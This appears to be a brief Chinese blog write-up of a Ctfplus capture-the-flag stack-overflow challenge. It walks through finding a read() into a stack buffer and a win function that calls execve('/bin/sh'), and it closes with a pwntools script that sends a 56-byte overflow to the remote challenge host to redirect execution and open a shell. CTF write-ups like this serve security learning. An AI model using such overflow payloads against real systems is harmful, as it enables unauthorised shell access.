134 字
1 分钟
Ctfplus | stack overflow
  • gdb分析附件,查看mainalt text 可以看到此处通过read读取输入到栈缓冲区

  • 查看该程序所有函数: alt text 可以看到/bin/sh就在whhhat函数中并且通过execve来调用

    所以可以通过read进行数据写入造成栈溢出,来调用whhhat函数

  • whhhat函数地址: alt text

  • 通过对main函数分析或者cyclic都可以得出溢出范围: alt text alt text

  • EXP:

    from pwn import *
    a = remote("nc1.ctfplus.cn", 47523)
    # a = process("./hello")
    payload = b"A" * 56 + p64(0x4011F7)
    a.sendline(payload)
    a.interactive()

    alt text

Ctfplus | stack overflow
https://lepustimus.github.io/posts/pwn/ctfplus-stack-overflow/
作者
Lepustimidus
发布于
2026-03-01
许可协议
CC BY-NC-SA 4.0